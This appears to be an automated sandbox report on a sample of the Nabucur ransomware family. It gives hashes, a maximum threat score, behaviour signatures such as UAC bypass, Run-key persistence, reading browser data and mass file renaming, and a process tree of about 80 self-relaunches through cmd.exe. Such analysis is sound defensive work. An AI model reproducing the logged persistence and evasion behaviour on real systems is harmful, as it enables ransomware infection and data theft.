Overview

overview

10

Static

static

3

2026-08-20...ck.exe

windows10-2004-x64

10

2026-08-20...ck.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 11:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
  • Size 1.6MB
  • Sample260820-m871esar4w
  • SHA256 bb2631a45dcbebb6e54b343d00b057143e16517e3f8c321c12374b62fbd10567
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionnabucurpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Family: Nabucur

    Nabucur is a ransomware first seen in 2015.

    ransomwarenabucur
  • Modifies visibility of file extensions in Explorer 2 TTPs 63 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 63 IoCs
    defense_evasiontrojan
  • Renames multiple (126) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Executes dropped EXE 6 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 62 IoCs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry key 1 TTPs 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of FindShellTrayWindow 20 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4644
    • C:\Users\Admin\bOYMkcok\nawsUsEU.exe
      "C:\Users\Admin\bOYMkcok\nawsUsEU.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      PID:4904
    • C:\ProgramData\JWgIAsIY\SCkEkkoQ.exe
      "C:\ProgramData\JWgIAsIY\SCkEkkoQ.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of FindShellTrayWindow
      PID:5400
      • C:\Users\Admin\bOYMkcok\nawsUsEU.exe
        "C:\Users\Admin\bOYMkcok\nawsUsEU.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        PID:5036
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:424
      • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
        C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2080
          • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
            C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2720
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:5868
              • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                7⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2680
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                  8⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5740
                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                    9⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4444
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                      10⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1528
                      • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                        C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                        11⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:2528
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                          12⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1220
                          • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                            C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                            13⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of WriteProcessMemory
                            PID:1576
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                              14⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:2372
                              • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                15⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of WriteProcessMemory
                                PID:1848
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                  16⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:956
                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                    17⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:5024
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                      18⤵
                                      • Executes a command shell one-liner
                                      • Suspicious use of WriteProcessMemory
                                      PID:5124
                                      • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                        C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                        19⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1256
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                          20⤵
                                            PID:1336
                                            • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                              C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                              21⤵
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:3436
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                22⤵
                                                  PID:4912
                                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                    23⤵
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:4484
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                      24⤵
                                                        PID:4600
                                                        • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                          C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                          25⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:5680
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                            26⤵
                                                              PID:3832
                                                              • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                27⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:4396
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                  28⤵
                                                                  • Executes a command shell one-liner
                                                                  PID:2772
                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                    29⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:248
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                      30⤵
                                                                        PID:384
                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                          31⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:4480
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                            32⤵
                                                                              PID:4540
                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                33⤵
                                                                                  PID:1684
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                    34⤵
                                                                                    • Executes a command shell one-liner
                                                                                    PID:4448
                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                      35⤵
                                                                                        PID:1736
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                          36⤵
                                                                                          • Executes a command shell one-liner
                                                                                          PID:504
                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                            37⤵
                                                                                              PID:1128
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                38⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:2628
                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                  39⤵
                                                                                                    PID:1324
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                      40⤵
                                                                                                      • Executes a command shell one-liner
                                                                                                      PID:3544
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                        41⤵
                                                                                                          PID:4768
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                            42⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:5548
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                              43⤵
                                                                                                                PID:4656
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                  44⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:1148
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                    45⤵
                                                                                                                      PID:4424
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                        46⤵
                                                                                                                        • Executes a command shell one-liner
                                                                                                                        PID:1712
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                          47⤵
                                                                                                                            PID:1868
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                              48⤵
                                                                                                                              • Executes a command shell one-liner
                                                                                                                              PID:3052
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                49⤵
                                                                                                                                  PID:2988
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                    50⤵
                                                                                                                                      PID:3364
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                        51⤵
                                                                                                                                          PID:5632
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                            52⤵
                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                            PID:4492
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                              53⤵
                                                                                                                                                PID:5988
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                  54⤵
                                                                                                                                                    PID:3504
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                      55⤵
                                                                                                                                                        PID:1308
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                          56⤵
                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                          PID:1288
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                            57⤵
                                                                                                                                                              PID:5924
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                58⤵
                                                                                                                                                                  PID:2844
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                    59⤵
                                                                                                                                                                      PID:3844
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                        60⤵
                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                        PID:4804
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                          61⤵
                                                                                                                                                                            PID:1392
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                              62⤵
                                                                                                                                                                                PID:5148
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                  63⤵
                                                                                                                                                                                    PID:8
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                      64⤵
                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                      PID:5960
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                        65⤵
                                                                                                                                                                                          PID:4168
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                            66⤵
                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                            PID:2996
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                              67⤵
                                                                                                                                                                                                PID:1312
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                  68⤵
                                                                                                                                                                                                    PID:856
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                      69⤵
                                                                                                                                                                                                        PID:4924
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                          70⤵
                                                                                                                                                                                                            PID:4344
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                              71⤵
                                                                                                                                                                                                                PID:1644
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                  72⤵
                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                  PID:4592
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                    73⤵
                                                                                                                                                                                                                      PID:1260
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                        74⤵
                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                        PID:4084
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                          75⤵
                                                                                                                                                                                                                            PID:2304
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                              76⤵
                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                              PID:4152
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                77⤵
                                                                                                                                                                                                                                  PID:5196
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                    78⤵
                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                    PID:1056
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                      79⤵
                                                                                                                                                                                                                                        PID:788
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                          80⤵
                                                                                                                                                                                                                                            PID:3488
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                              81⤵
                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                              PID:244
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                82⤵
                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                PID:3724
